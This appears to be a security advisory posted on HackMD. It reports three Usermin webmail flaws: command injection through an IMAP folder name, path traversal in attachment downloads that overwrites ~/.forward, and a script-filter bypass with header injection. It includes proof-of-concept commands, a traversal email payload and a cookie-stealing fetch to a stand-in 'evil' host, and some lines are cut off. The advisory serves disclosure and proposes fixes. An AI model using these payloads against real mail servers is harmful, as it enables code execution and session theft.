Skip to content
H144QKY6zl

H144QKY6zl

hackmd.io • November 6, 2026

# 1. OS Command Injection via IMAP Folder Name in delete_folder of Usermin's Read Mail Module

- **Product:** Usermin —

- **Version tested:** 2.570 (latest release, Nov 2026)

- **Vulnerability class:** CWE-78 (OS Command Injection), authenticated

`mailbox/mailbox-lib.pl` builds the folder list from the **IMAP server's

`LIST` response** and interpolates the raw folder name into an unquoted

system("rm -rf $user_module_config_directory/$folder->{'id'}.cache");

A Usermin user can create an IMAP folder with shell metacharacters via any

ordinary IMAP client (Usermin's own folder-creation form restricts the

charset, but external clients do not — and the deletion path performs no

validation at all), then delete that folder in Usermin's web UI. The folder

name is executed as shell commands with the privileges of the Usermin

process — for webmail-only accounts (no shell access) this is a

user-to-shell escalation on the mail server.

**Source** — `mailbox/mailbox-lib.pl:312-338` (folder list from IMAP LIST):

my @irv = &imap_command($ih, "list \"\" \"*\"");

if ($l =~ /LIST\s+\(.*\)\s+("(.*)"|\S+)\s+("(.*)"|\S+)/) {

'id' => $fn, # raw IMAP folder name, unvalidated

**Sink** — `mailbox/mailbox-lib.pl:1031-1041` (`delete_folder`, type 4 = IMAP):

unlink("$user_module_config_directory/$folder->{'id'}.imap");

system("rm -rf $user_module_config_directory/$folder->{'id'}.cache");

1. `system()` with unquoted, unvalidated `$folder->{'id'}` — shell

2. The same unvalidated id is used in `unlink(".../$id.imap")` (arbitrary

file delete via `../`) and `imap_command("delete \"$name\"")` (IMAP

The omission is clearly a bug, not style: the sibling branch for `~/mail`

folders correctly uses `system("rm -rf ".quotemeta($folder->{'file'}))`

Preconditions: authenticated Usermin account, Read Mail module enabled, and

the mail server operating in IMAP mode (`mail_system == 4` in module

config — the recommended multi-server setup).

# 1) create the poisoned folder with any IMAP client

openssl s_client -connect mail.example.com:993

a CREATE "x; touch /tmp/pwned-$(whoami);"

# 2) in Usermin web UI: Read Mail -> folder list -> delete the folder "x; ..."

curl -b 'usess=...' ' &confirmed=1'

sh -c rm -rf /etc/usermin/mailbox/x; touch /tmp/pwned-root;.cache

- Arbitrary command execution as the Usermin process user by any

authenticated webmail user (accounts intentionally shell-less become

- Arbitrary file deletion (`unlink` with `../` in the folder id).

- IMAP command injection against the user's own mail session.

Quote the path: `system("rm -rf ".quotemeta("$user_module_config_directory/$folder->{'id'}.cache"))`

or better, replace `system("rm -rf ...")` with the existing

`remove_tree()`/`unlink_file()` helpers; validate folder ids against the

same charset used by `save_ifolder.cgi` (`/^[a-zA-Z0-9.\-\/ ]+$/`).

# 2. Arbitrary File Write via Attachment-Filename Path Traversal in Usermin's detachall.cgi (Leading to Code Execution as the Victim)

- **Vulnerability class:** CWE-23 / CWE-22 (Path Traversal → arbitrary file write), attacker is an unauthenticated email sender

When a user clicks "Download all attachments", `mailbox/detachall.cgi`

writes every attachment into a temp directory using the **email-declared

filename** without any traversal or charset validation. An attacker who

sends the victim an email with `Content-Disposition: attachment;

filename=../../ ` (or a MIME-encoded name, decoded by

`decode_mimewords`) gets their attachment content written to an arbitrary

path **as the victim's uid** the moment the victim clicks the button.

Overwriting `~/.forward` (or `~/.procmailrc`, `~/.ssh/authorized_keys` in

permissive setups) turns the write into code execution at mail

delivery: an external, pre-auth attacker gains command execution as a

**Filename extraction** — `mailbox/boxes-lib.pl:569-582`:

if ($attach->{'header'}->{'content-disposition'}->[0] =~

$attach->{'filename'} = $1; # allows / and .. unchanged

uuencoded parts likewise (`boxes-lib.pl:672-676`: `'filename' => $2` from

`begin 0644 `). MIME-encoded-word names are fully decoded

later, so `=?UTF-8?B?...?=` yields arbitrary bytes including `../`.

**Sink** — `mailbox/detachall.cgi:37-53`:

$fn = &decode_mimewords($a->{'filename'});

&open_tempfile(FILE, ">$temp/$fn", 0, 1); # 4th arg = notemp

**open_tempfile** (`web-lib-funcs.pl:11477-11491`) — for an absolute path

with `$notemp=1` the only validation is `\r\n\0`; the path is passed

through `translate_filename()` (no callbacks registered for the mailbox

module → passthrough) and opened directly. No `..` normalization, no

`$temp = &transname()` is a fresh absolute temp dir, so

`>$temp/../../../ /victim/.forward` resolves outside it.

# attacker sends one email with the malicious attachment

swaks --to [email protected] --from [email protected] \

--add-header 'Content-Disposition: attachment; filename="../../ /joe/.forward"'

# payload.bin content: "|/bin/sh -c 'curl

# victim opens Read Mail and clicks "Download all attachments"

On click: `/ /joe/.forward` is overwritten with the payload; the

- Arbitrary file write as the victim user (contents fully attacker-chosen).

- Code execution as the victim via `~/.forward`, `~/.procmailrc`, crontabs

(if writable), or any user-writable startup/config file.

- Attacker needs only the ability to send one email; no account required.

In `detachall.cgi`, sanitize `$fn` to a bare filename (`$fn =~ s/.*[\/\\]//`,

reject `..`, strip control chars) or fall back to `fileN. `; also

validate in `open_tempfile` centrally (reject `/` in the final component

# 3. Content-Type Override Bypasses Attachment JavaScript Filtering + Response Header Injection in Usermin's detach.cgi

- **Product:** Usermin —

- **Version tested:** 2.570 (latest release, Nov 2026)

- **Vulnerability class:** CWE-79 (XSS / bypass of the CVE-2022-36880 fix) + CWE-113 (HTTP response header injection)

`mailbox/detach.cgi` (attachment viewer) applies `filter_javascript()` +

`safe_urls()` when serving `text/html`, `image/svg` and `application/xhtml`

attachments — the mitigation for CVE-2022-36880. However, the client can

override the served MIME type with the `type` URL parameter, and the

override branch (1) prints the attacker-controlled type **unescaped into

the response headers** (`Content-type: $in{'type'}` — CRLF injection, URL

params are decoded by ReadParse), and (2) outputs the raw attachment data

**without any JavaScript filtering**. A link of the form

`detach.cgi?...&type=text/html` embedded in an attacker's email therefore

executes arbitrary attacker JavaScript on the Usermin origin when the

victim clicks it — session cookie theft and CSRF against the webmail.

print "Content-type: $in{'type'}\n\n"; # raw header injection

print $attach->{'data'}; # NO filter_javascript/safe_urls

if ($attach->{'type'} =~ /^(text\/html|image\/svg|application\/xhtml)/i && !$in{'save'}) {

print &safe_urls(&filter_javascript($attach->{'data'})); # filtered path

- `$in{'type'}` is fully client-controlled and reaches a raw `print` header

line; ReadParse URL-decodes it, so `%0d%0a` injects arbitrary additional

headers (e.g. an extra `Content-Disposition`, cache poisoning proxies).

- The normal HTML-attachment path filters JavaScript; the override branch

does not — the filter is trivially bypassable with any link.

1. Attacker emails the victim any attachment (e.g. `x.bin` containing

` fetch('//evil/'+document.cookie) `).

2. The email body contains (mailbox module auto-links URLs):

3. Victim clicks → the attachment is served as `text/html` on the Usermin

origin with scripts intact → XSS. Variants: `type=text/html%0d%0aX-Foo: 1`

Session-scope XSS in the webmail (steal mail, act as the victim via the

same-origin API), plus response-header injection. Attacker = any email

In the `$in{'type'}` branch: only serve content-types from a safe

allowlist; always route HTML-ish content through

`&safe_urls(&filter_javascript(...))`; sanitize `$in{'type'}` against

`/^[\w.\/-]+$/` before printing the header.